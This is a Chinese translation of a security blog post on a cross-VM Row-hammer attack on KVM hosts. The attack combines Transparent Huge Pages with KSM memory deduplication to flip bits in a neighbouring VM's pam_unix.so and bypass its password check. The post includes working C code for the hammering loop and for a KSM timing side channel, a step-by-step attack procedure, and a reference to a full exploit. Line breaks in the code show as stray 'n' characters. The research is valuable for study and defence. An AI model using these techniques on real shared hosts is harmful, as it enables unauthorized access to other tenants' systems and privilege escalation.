看我如何跨虛擬機實現Row Hammer攻擊和許可權提升

譯者:blueSky

預估稿費:200RMB

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

前言

row-hammer是一種能在物理層面上造成RAM位翻轉的硬體漏洞。Mark?Seaborn 和Thomas Dullien 兩人首次發現可以利用Row-hammer漏洞來獲取內核許可權。Kaveh Razavi等人通過利用操作系統的「內存重複刪除」特性能夠有效控制比特位翻轉,他們將Row-hammer漏洞利用推向了一個新的台階。如果他們知道私密文件的內容,那麼他們可以利用比特翻轉來載入私密文件(比如authorized_keys),並通過削弱authorized_keys文件中的RSA模塊,他們能夠生成相應的私鑰並在共同託管的受害者VM上進行身份驗證。

在這篇文章中,我們的目的是展示不同的攻擊情形。在本文我們破壞了正在運行的程序狀態,而不是破壞內存載入的文件。libpam是一個很容易遭受攻擊的目標,因為它再類unix系統上提供身份驗證機制。通過在攻擊者的VM中運行row-hammer攻擊實例,我們能夠通過破壞pam_unix.so模塊狀態在鄰近的受害者VM上成功進行身份驗證。在下文中,我們假設兩台相鄰的虛擬機運行Linux(攻擊者VM +受害者VM),而且都託管在KVM虛擬機管理程序上,具體如下圖所示:

Row-hammer

DRAM晶元由周期性刷新的單元行組成,當CPU對存儲器的一個位元組請求讀/寫操作時,數據首先被傳送到行緩衝器。在讀/寫請求執行之後,行緩衝器的內容會被複制回原始行,頻繁的讀寫操作(放電和再充電)可能導致相鄰行單元上出現較高的放電率從而引發錯誤。如果在丟失其電荷之前不刷新它們,則會在相鄰的存儲器行中引起位翻轉。

以下代碼足以產生位翻轉,該代碼從兩個不同的存儲器行交替讀取數據。這種操作是必需的,否則我們只能從行緩衝區讀取數據,並且將無法重新激活一行數據,而且還需要使用cflush指令以避免從CPU的緩存中讀取數據。Mark Seaborn和Thomas Dullien注意到,如果我們「侵略」其相鄰行的數據(行k-1和行k + 1),那麼row-hammer效應在受害者行k上將會被放大,具體如下圖所示:

CHANNELS, RANKS, BANKS AND ADDRESS MAPPING

在包含2個channel的電腦配置中,最多可以插入兩個內存模塊。一個存儲器模塊由該模塊兩側的存儲器晶元組成,而且一個存儲器晶元組成一個存儲體,一個存儲體代表一個存儲單元矩陣。下面以我的電腦為例來說明,我的電腦配備了8 GB RAM,具體參數如下所示:

2個channel。

每個channel包含1個內存模塊。

每個內存模塊包含2個rank。

每個rank包含8個內存晶元。

每個晶元包含8個bank。

每個bank代表2^15行x 2^10列x8 bits。

因此,可用的RAM大小計算如下:

2 modules * 2 ranks * 2^3 chips * 2^3 banks * 2^15 rows * 2^10 columns * 1 byte = 8 GB

當CPU訪問一個位元組內存時,內存控制器負責執行該讀請求。Mark Seaborn已經確定了英特爾Sandy Bridge CPU的物理地址映射機制。該映射與下面給出的內存配置相匹配:

位0-5:位元組的低6位用於索引行。

位6:用於選擇channel。

位7-13:位元組的高7位用於索引列。

位14-16:((addr>>14)&7)^((addr>>18)&7)用於選擇bank。

位17:用於選擇rank。

位18-33:用於選擇行。

正如這篇文章所述,即使CPU請求單個位元組,內存控制器也不會定址晶元並返回8個位元組,CPU會使用地址的3 LSB位來選擇正確的位。在這篇文章的其餘部分,我們將使用上文提供的物理映射機制。

行選擇

Row-hammer需要選擇屬於同一個bank的行數據,如果我們無法將虛擬地址轉換為物理地址,那麼就無法瀏覽行數據。假如我們已經知道了底層的物理地址映射,那麼怎麼可以獲取一對映射到同一個bank而不同行的地址呢?實際上,從VM的角度來看,物理地址只是QEMU虛擬地址空間中的偏移量,因此為了達到從VM進行「攻擊」的目的,我們只要獲取Transparent Huge Pages (THP)就可以了。

THP是一個Linux功能,後台運行的內核線程會嘗試分配2 MB的巨大頁面。如果我們申請分配一個2 MB大小的緩衝區,那麼客戶端的內核線程將返回給我們一個THP。主機中的QEMU虛擬內存也是如此,在一段時間後也將被THP替代。正是因為有了THP,我們才可以獲得2 MB的連續物理內存,並且一個THP包含了很多行數據,因此我們可以瀏覽行數據了。

根據先前提出的物理地址映射,由於行數據以MSB位(位18-33)定址,那麼一個THP包含了8*(2*2^20/2^18)行數據。但是,給定行中的地址是屬於不同的channels, banks 以及ranks的。

從VM進行Row-hammer攻擊

在攻擊者VM中,我們嘗試分配一個THP緩衝區,對於大小為2 MB的每個內存塊,我們通過讀取頁面映射文件來檢查它是否包含在大頁面中。然後,對於THP頁面中的每兩行(r,r+2),我們通過改變channel位和rank位來」敲擊」每對地址。但是請注意,物理地址映射中的排列方案使得選擇屬於同一個bank的地址對具有以下要求:

令( r_i,b_i )表示行i的地址中標識行和存儲體的3個LSB位。對於固定channel和rank,我們從行i開始依次「敲擊」行j(j=i+2)中滿足以下條件

> r_i^b_i=r_j^b_jn

的地址開始。

對於給定的bank b_i,在8個給定的bank b_j中只有三個滿足上述條件,具體如下圖所示:

以下是我們優化後的row-hammer代碼:

static intnhammer_pages(struct ctx *ctx, uint8_t *aggressor_row_prev, uint8_t *victim_row,n uint8_t *aggressor_row_next, struct result *res)n{n uintptr_t aggressor_row_1 = (uintptr_t)(aggressor_row_prev);n uintptr_t aggressor_row_2 = (uintptr_t)(aggressor_row_next);n n uintptr_t aggressor_ch1, aggressor_ch2 , aggressor_rk1, aggressor_rk2;n uintptr_t aggressors[4], aggressor;n n uint8_t *victim;n n uintptr_t rank, channel, bank1, bank2;n n int i, p, offset, ret = -1;n n /* Loop over every channel */n for (channel = 0; channel < ctx->channels; channel++) {n aggressor_ch1 = aggressor_row_1 | (channel << ctx->channel_bit);n aggressor_ch2 = aggressor_row_2 | (channel << ctx->channel_bit);n n /* Loop over every rank */n for (rank = 0; rank < ctx->ranks; rank++) {n aggressor_rk1 = aggressor_ch1 | (rank << ctx->rank_bit);n aggressor_rk2 = aggressor_ch2 | (rank << ctx->rank_bit);n n /* Loop over every bank */n for (bank1 = 0; bank1 < ctx->banks; bank1++) {n aggressors[0] = aggressor_rk1 | (bank1 << ctx->bank_bit);n i = 1;n /* Looking for the 3 possible matching banks */n for (bank2 = 0; bank2 < ctx->banks; bank2++) {n aggressor = aggressor_rk2 | (bank2 << ctx->bank_bit);n if ((((aggressors[0] ^ aggressor) >> (ctx->bank_bit + 1)) & 3) != 0)n aggressors[i++] = aggressor;n if (i == 4) break;n }n n /* Ensure victim is all set to bdir */n for (p = 0; p < NB_PAGES(ctx); p++) {n victim = victim_row + (ctx->page_size * p);n memset(victim + RANDOM_SIZE, ctx->bdir, ctx->page_size - RANDOM_SIZE);n }n n hammer_byte(aggressors);n n for (p = 0; p < NB_PAGES(ctx); p++) {n victim = victim_row + (ctx->page_size * p);n n for (offset = RANDOM_SIZE; offset < ctx->page_size; offset++) {n if (victim[offset] != ctx->bdir) {n if (ctx->bdir)n victim[offset] = ~victim[offset];n ctx->flipmap[offset] |= victim[offset];n ncurses_flip(ctx, offset);n if ((ret = check_offset(ctx, offset, victim[offset])) != -1) {n ncurses_fini(ctx);n printf("[+] Found target offsetn");n res->victim = victim;n for (i = 0; i < 4; i++)n res->aggressors[i] = aggressors[i];n return ret;n }n }n }n }n }n }n }n return ret;n}n

關於Row-hammer最後一件有趣的事情是:如果我們針對受害者機器中的行數據進行了位翻轉,那麼通過重新「敲擊」相鄰行再現位翻轉的可能性就很大。

Memory de-duplication

現在我們知道如何「敲擊」,下面我將介紹如何依靠操作系統內存重複數據刪除實現在內存中執行位翻轉操作。內存重複數據刪除在虛擬機環境中尤其有用,因為它顯著減少了內存佔用。在Linux上,內存重複數據刪除由KSM來實現。KSM會定期掃描內存併合並匿名頁面(具有MADV_MERGEABLE標記的頁面)。

假設我們知道相鄰VM中文件的內容,以下是通過利用Row-hammer漏洞和內存重複數據刪除功能來修改文件中隨機位的主要步驟:

1.從攻擊者虛擬機「敲擊」內存。

2.載入內存頁面中容易受到位翻轉攻擊的目標文件。

3.載入受害者虛擬機中的目標文件。

4.等待KSM合併這兩個頁面。

5.再次「敲擊」。

6.受害者虛擬機中的文件應該已被修改。

如Razavi等人在其論文所述,THP和KSM可能對Row-hammer造成意想不到的影響。因為THP會合併正常的4 KB頁面以形成龐大的頁面(2 MB),而KSM會合併具有相同內容的頁面。這可能導致KSM打破巨大頁面的情況。為了避免這種情況,我們用8個隨機位元組填充每個4 KB頁面的頂部。

處理Libpam程序

給定一個程序P,我們怎麼能在程序代碼中找到可以改變P輸出結果的所有可翻轉的bit位呢?對程序P執行逆向分析看似是個不錯的想法,可逆向工程太耗費時間了。在本文中,我們使用radare2開發了一個PoC(flip -flop.py),該PoC能夠自動捕獲程序P的可翻轉bit位。該PoC的原理是:我們翻轉一些目標函數的每一位,並運行所需的功能,然後檢查翻轉的位是否影響目標函數的預期結果。我們在pam_unix.so模塊(23e650547c395da69a953f0b896fe0a8)的兩個函數上運行了PoC,如下圖所示:

pam_sm_authenticate [0x3440]:執行驗證用戶的任務。

_unix_blankpasswd [0x6130]:檢查用戶是否沒有空白密碼。

我們總共發現可17個可以翻轉的bit位,利用這些bit位我們可以使用空白或錯誤的密碼執行身份驗證操作。

值得注意的是,腳本無法從某些崩潰中恢復。原因是由於r2pipe沒有提供任何處理錯誤的機制,那麼當有一些致命的崩潰發生,r2pipe是無法恢復會話的。

開始攻擊

我們的目標是在相鄰VM中的pam_unix.so模塊上運行一個Row-hammer攻擊實例。我們首先回顧了繞過受害者VM身份驗證機制的主要步驟:

1.分配可用的物理內存。

2.在內存頁面添加一些填充數據,以防止KSM破壞THP頁面。我們在每4 KB頁面的頂部填充8個隨機位元組,其餘的填充xff以檢查方向1-> 0的位翻轉(或使用0來檢查0->1的位翻轉方向)。

3.我們在每個TPH頁面中」敲擊」每對被「入侵」的行,並檢查我們是否在受害者行中進行了位翻轉。

4.如果位觸發器與表1的偏移量匹配,則將pam_unix.so模塊載入到受害者頁面中。

5.通過嘗試登錄來載入受影響虛擬機中的pam_unix.so模塊。

6.等待KSM合併頁面。

7.再次「敲擊」已經產生相關翻轉的bit位,此時受害者VM機器中,內存中的pam_unix.so已被更改。

8.操作完畢。

完整的exploit(pwnpam.c)可以在這裡找到 。

請注意,漏洞利用不是100%可靠,如果我們找不到可用的位翻轉,那麼實驗將不會成功。

更進一步

漏洞利用並不完全自動,因為在某些時候,我們需要與漏洞利用進行交互,以確保模塊已經載入到受害者VM內存中並且其內容已經與攻擊者虛擬機中載入的內容合併在一起,這時執行bit位翻轉才會成功。

為了能夠自動化的進行漏洞利用,可以通過利用KSM中的側信道定時攻擊來改善攻擊,該功能使我們能夠檢測兩個頁面是否共享。以下代碼是文中描述演算法的實現,程序首先分配N個緩衝區(每個4096 KB),並用隨機數據填充它,代碼如下所示:

#include <stdio.h>n#include <string.h>n#include <stdlib.h>n#include <unistd.h>n#include <time.h>n#include <inttypes.h>n#include <sys/mman.h>n#include <sys/syscall.h>n#include <sys/types.h>n n#define PAGE_NB 256n n/* from https://github.com/felixwilhelm/mario_baslr */nuint64_t rdtsc() {n uint32_t high, low;n asm volatile(".att_syntaxnt"n "RDTSCPnt"n : "=a"(low), "=d"(high)::);n return ((uint64_t)high << 32) | low;n}n nint main()n{n void *buffer, *half;n int page_size = sysconf(_SC_PAGESIZE);n size_t size = page_size * PAGE_NB;n n buffer = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);n madvise(buffer, size, MADV_MERGEABLE);n n srand(time(NULL));n n size_t i;n for (i = 0; i < PAGE_NB; i++)n *(uint32_t *)(buffer + (page_size * i)) = rand();n n half = buffer + (page_size * (PAGE_NB / 2));n for (i = 0; i < (PAGE_NB / 2); i += 2)n memcpy(buffer + (page_size * i), half + (page_size * i), page_size);n n sleep(10);n n uint64_t start, end;n for (i = 0; i < (PAGE_NB / 2); i++) {n start = rdtsc();n *(uint8_t *)(buffer + (page_size * i)) = xff;n end = rdtsc();n printf("[+] page modification took %" PRIu64 " cyclesn", end - start);n }n n return 0;n}n

該程序修改緩衝區前半部分中每個元素的單個位元組,並測量寫入操作時間。

根據程序輸出,我們可以根據執行寫入操作所需的CPU周期數,清楚地區分複製頁面和非共享頁面。

請注意,我們還可以依靠側信道來檢測受害者VM上運行的libpam版本。

在我們的漏洞中,我們假設攻擊者VM是在受害者VM之前啟動的。此條件可以確保KSM總是通過攻擊者控制的物理頁面返回合併的頁面。正如Kaveh Razavi文章所述,這種情況可以輕鬆實現,但該解決方案需要更深入地了解KSM的內部原理:KSM通過維護兩個紅黑樹:穩定的樹和不穩定的樹來管理內存重複數據刪除,前者跟蹤共享頁面,而後者存儲合併候選頁面。KSM會定期掃描頁面,並嘗試從穩定樹中首先合併它們。如果失敗,它會嘗試在不穩定的樹中找到一個匹配項。如果它再次失敗,它將候選頁面存儲在不穩定的樹中,並繼續下一頁。

在我們的例子中,從不穩定樹執行合併,KSM會選擇首先註冊合併的頁面。 換句話說,首先啟動的VM會贏得合併。為了放寬這個條件,我們可以嘗試從穩定樹合併頁面。 我們所要做的就是在攻擊者VM內存中載入兩次pam_unix.so模塊,並等到KSM合併這些副本。之後,當pam_unix.so模塊載入到受害者虛擬機時,其內容將與已存在於穩定樹中並由攻擊者控制的副本合併。

結論

儘管Row-hammer攻擊是強大和有效的,但它卻不再是神話。在這篇博客文章中,我們試圖提供必要的工具來實現Row-hammer攻擊,而且我們提供了一個漏洞,並允許人們在共同託管的虛擬機上獲得訪問許可權或提升其許可權。

最後注意一下,禁用KSM就可以阻止我們的利用了

echo 0 > /sys/kernel/mm/ksm/run n

推薦閱讀:

VMware下安裝Ubuntu&設置共享文件夾教程
macbook pro裝雙系統好還是虛擬機好?平常會用arcgis之類軟體?
hyper-v中安裝win10虛擬機如何設置桌面解析度和縮放比例?
二進位翻譯( binary translation )有沒有成熟的現實應用?請介紹一下實現方式與性能瓶頸。?
為什麼刪除docker鏡像後依然佔用本地空間?

TAG:虚拟机 | 网络安全 | 漏洞 |